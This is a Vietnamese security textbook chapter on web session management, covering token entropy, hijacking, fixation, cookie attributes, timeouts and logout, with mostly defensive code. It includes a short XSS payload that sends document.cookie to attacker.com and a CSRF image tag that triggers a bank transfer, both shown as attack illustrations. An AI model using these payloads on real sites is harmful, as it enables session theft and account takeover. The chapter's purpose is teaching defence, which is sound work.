Chương 5: Session Management — Quản lý phiên
Khái niệm
HTTP là stateless — server không nhớ ai đã đăng nhập. Session là cơ chế tạo ra "trạng thái" giữa các requests. Sau khi login, server tạo một session token (mã phiên), gửi về client qua cookie, và dùng token đó để xác định người dùng trong các request tiếp theo.
Mức độ nguy hiểm: Cao — Đánh cắp session = chiếm quyền tài khoản mà không cần password.
Cách hoạt động
1. User POST /login với credentials
2. Server xác thực, tạo session:
session_id = generate_random_token()
store_in_db(session_id, user_id, expires_at)
3. Server gửi cookie:
Set-Cookie: session=session_id; HttpOnly; Secure; SameSite=Strict
4. Các request tiếp theo:
Cookie: session=session_id
Server lookup session_id trong DB → biết đây là user nào
Session Token — Yêu cầu bảo mật
Một session token tốt phải đảm bảo:
- Entropy cao: Ít nhất 128 bits random, không đoán được
- Unique: Không bao giờ reuse
- Không chứa thông tin: Không encode user_id vào token
- Có expiry: Tự hết hạn sau thời gian nhất định
- Invalidated khi logout: Xóa ở server-side
Ví dụ token xấu:
session=user_id_1337 ← chứa user ID
session=1609459200_admin ← timestamp + username
session=e10adc3949ba59abbe56e057f20f883e ← MD5 của password
session=00001338 ← sequential, predictable
Ví dụ token tốt:
session=kX9mP2nQ4rT7vY1zA3bC6eF8hJ0lM5oR ← 32 bytes random
Các loại tấn công Session
1. Session Hijacking (Đánh cắp phiên)
Hacker đánh cắp session token của người dùng hợp lệ.
Cách đánh cắp:
a. XSS: Inject script để đọc cookie
document.cookie → lấy session token
(Ngăn chặn bằng HttpOnly)
b. Network sniffing: Đọc traffic qua HTTP (không HTTPS)
(Ngăn chặn bằng Secure cookie + HTTPS)
c. Log files: Token trong URL bị log
GET /app?session=abc123
→ Apache/Nginx log lưu token trong plaintext
(Ngăn chặn bằng không để token trong URL)
d. Man-in-the-Middle: Intercept traffic
(Ngăn chặn bằng HTTPS + HSTS)
2. Session Fixation (Cố định phiên)
Hacker ép victim dùng session token do hacker kiểm soát.
Kịch bản:
1. Hacker tạo session: GET /login → session=HACKER_TOKEN
2. Hacker gửi link cho victim:
https://example.com/login?session=HACKER_TOKEN
3. Victim đăng nhập với token đó
4. Server upgrade token nhưng KHÔNG đổi session ID
→ Hacker và victim dùng cùng session ID
5. Hacker dùng HACKER_TOKEN → đã có quyền của victim
Phòng chống: Luôn tạo session ID mới sau khi login thành công.
def login():
if verify_credentials(username, password):
# Xóa session cũ, tạo session mới
session.clear()
new_session_id = generate_secure_token()
session['user_id'] = user.id
# Flask tự động gán session ID mới
return redirect('/dashboard')
3. Weak Session Tokens — Token Yếu
Sequential tokens:
User 1: session=1000
User 2: session=1001
User 3: session=1002
→ Hacker có session=1001, thử 1000, 1002, 1003...
Predictable tokens:
# SAI: dùng timestamp làm token
import time
token = str(int(time.time())) # "1609459200" → predictable
# ĐÚNG: dùng secrets module
import secrets
token = secrets.token_hex(32) # 64-char hex string, 256-bit entropy
PHP session weakness:
// PHP's session_id() dùng MD5(IP + timestamp) trong phiên bản cũ
// → predictable nếu biết IP và thời gian login
// Dùng session_regenerate_id(true) sau login
session_start();
if (login_success) {
session_regenerate_id(true); // Tạo ID mới, xóa ID cũ
$_SESSION['user_id'] = $user_id;
}
4. Session Cookie Theft qua XSS
// Payload XSS để đánh cắp cookie
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
// Nếu HttpOnly: cookie không đọc được
// Nhưng CSRF vẫn hoạt động vì browser tự gửi cookie
5. CSRF — Liên quan Session
CSRF lợi dụng việc browser tự động gửi cookie trong mọi request. Chi tiết ở Chương 10.
Cookie Attributes chi tiết
HttpOnly
Set-Cookie: session=abc123; HttpOnly
- JavaScript không đọc được cookie (
document.cookiekhông trả về) - Ngăn XSS đánh cắp session cookie
- Cookie vẫn tự động gửi kèm request
Secure
Set-Cookie: session=abc123; Secure
- Cookie chỉ gửi qua HTTPS
- Nếu user truy cập qua HTTP (bị redirect), cookie không bị gửi
- Phòng chống MITM và network sniffing
SameSite
Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure
| Giá trị | Cookie gửi khi | Use case |
|---|---|---|
Strict | Chỉ same-site requests | Bảo mật cao nhất, UX hạn chế |
Lax | Same-site + top-level navigation | Cân bằng UX và security |
None | Tất cả (kể cả cross-site) | Third-party cookies, cần Secure |
SameSite=Lax và CSRF:
Với SameSite=Lax, cookie gửi khi:
✓ User click link: <a href="https://bank.com/transfer"> → cookie gửi
✓ Top-level navigation
Nhưng KHÔNG gửi khi:
✗ Cross-site POST form
✗ Fetch/XHR requests
✗ Iframe loads
→ Chống được CSRF qua hidden form, nhưng không chống được qua link click
Domain và Path
Set-Cookie: session=abc123; Domain=.example.com; Path=/
Domain=.example.com: cookie áp dụng cho tất cả subdomainPath=/: cookie gửi cho tất cả paths- Nếu không set Domain: chỉ áp dụng cho domain hiện tại (an toàn hơn)
Session Timeout và Invalidation
Absolute Timeout
Session hết hạn sau thời gian tuyệt đối, dù user đang active:
SESSION_LIFETIME = 3600 # 1 giờ
session['created_at'] = time.time()
def check_session():
if time.time() - session['created_at'] > SESSION_LIFETIME:
session.clear()
return False
return True
Idle Timeout
Session hết hạn sau thời gian không hoạt động:
SESSION_IDLE_TIMEOUT = 900 # 15 phút
def update_activity():
session['last_active'] = time.time()
def check_idle():
if time.time() - session.get('last_active', 0) > SESSION_IDLE_TIMEOUT:
session.clear()
return False
return True
Logout đúng cách
# SAI: chỉ xóa cookie phía client
def logout():
response = redirect('/login')
response.delete_cookie('session') # Cookie bị xóa ở browser
return response # Nhưng server-side session vẫn valid!
# ĐÚNG: xóa cả server-side session
def logout():
session_id = request.cookies.get('session')
if session_id:
delete_session_from_db(session_id) # Xóa server-side
session.clear()
response = redirect('/login')
response.delete_cookie('session')
return response
JWT vs. Server-Side Sessions
| Đặc điểm | Server-Side Session | JWT |
|---|---|---|
| Lưu trữ | Server (DB/Redis) | Client (cookie/localStorage) |
| Invalidation | Dễ (xóa từ DB) | Khó (cần blacklist) |
| Scalability | Cần shared storage | Stateless |
| Security | Phụ thuộc vào token | Phụ thuộc vào signature |
| Size | Token nhỏ (ID only) | Token lớn (chứa payload) |
JWT có nhiều gotchas về security — xem Chương 8.
Ví dụ thực tế: Phân tích session security
# Kiểm tra cookie attributes qua curl
curl -I https://example.com/login -c cookies.txt
# Response headers:
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
# Kiểm tra:
# ✓ HttpOnly - XSS không đánh cắp được
# ✓ Secure - chỉ HTTPS
# ✓ SameSite=Lax - giảm CSRF risk
# ✗ Không có Expires - session cookie, xóa khi đóng tab
# ✗ Không có Max-Age - không có idle timeout ở cookie level
Kịch bản tấn công: Session Riding
1. Victim đăng nhập bank.com → có cookie: session=VICTIM_TOKEN
2. Victim vào một trang web độc hại
3. Trang độc hại có:
<img src="https://bank.com/api/transfer?to=hacker&amount=1000">
4. Browser tự động gửi request với VICTIM_TOKEN
5. Bank không có CSRF protection → transfer thành công
Nếu cookie có SameSite=Strict:
→ Browser không gửi cookie với cross-site img load
→ Transfer thất bại → hacker thất bại
Cách phát hiện
□ Session token predictable hoặc sequential
□ Session token không thay đổi sau login (session fixation risk)
□ Session token không thay đổi sau privilege escalation
□ Cookie thiếu HttpOnly → test: document.cookie trong console
□ Cookie thiếu Secure → test qua HTTP
□ Cookie không có SameSite → CSRF risk cao
□ Logout không invalidate server-side session
□ Session không expire sau idle period
□ Multiple sessions allowed cùng lúc (không có concurrent session control)
Phòng chống — Checklist
# 1. Generate cryptographically random token
import secrets
session_id = secrets.token_urlsafe(32)
# 2. Set cookie attributes đầy đủ
response.set_cookie(
'session',
session_id,
httponly=True,
secure=True,
samesite='Strict',
max_age=3600,
path='/'
)
# 3. Regenerate session ID sau login
def after_login(user):
old_data = dict(session)
session.clear()
session.regenerate() # Tạo ID mới
session.update(old_data)
session['user_id'] = user.id
# 4. Invalidate server-side khi logout
def logout():
db.sessions.delete(session.id)
session.clear()
# 5. Check session validity mỗi request
def before_request():
session_id = request.cookies.get('session')
if not db.sessions.get(session_id):
abort(401)
Góc nhìn DevOps
Redis-backed sessions (scalable):
# Flask-Session với Redis backend
from flask_session import Session
import redis
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_REDIS'] = redis.from_url('redis://redis:6379')
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)
Session(app)
Kubernetes: Session affinity khi cần:
# Ingress với session affinity (chỉ khi dùng server-side session)
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
annotations:
nginx.ingress.kubernetes.io/affinity: "cookie"
nginx.ingress.kubernetes.io/session-cookie-name: "INGRESSCOOKIE"
nginx.ingress.kubernetes.io/session-cookie-max-age: "3600"
Logging và monitoring:
Log các sự kiện:
- Login thành công/thất bại (với IP, user-agent)
- Logout
- Session expiry
- Cùng session từ nhiều IP khác nhau → suspicious
- Nhiều sessions của một user cùng lúc → suspicious
Alert khi:
- Session từ IP mới sau login → account takeover attempt
- Login từ geo-location khác trong thời gian ngắn → impossible travel
Tóm tắt
- Session là cầu nối giữa stateless HTTP và stateful application.
- Session token phải: random, có entropy cao, unique, có expiry, invalidated khi logout.
- HttpOnly ngăn XSS đọc cookie; Secure ngăn sniffing; SameSite ngăn CSRF.
- Session fixation: luôn tạo session ID mới sau login.
- Server-side invalidation khi logout — không chỉ xóa cookie phía client.
- Idle timeout và absolute timeout đều cần thiết.
- Dùng Redis cho session storage trong môi trường distributed.
Câu hỏi ôn tập
- Sự khác nhau giữa session hijacking và session fixation là gì?
- Tại sao
logout()chỉ xóa cookie phía client là không đủ? - Cookie
SameSite=Laxbảo vệ khỏi CSRF như thế nào? Và không bảo vệ khỏi gì? - Khi nào nên dùng server-side sessions thay vì JWT? Trade-off là gì?
- Làm thế nào để phát hiện session từ IP "không thể xảy ra" (impossible travel)?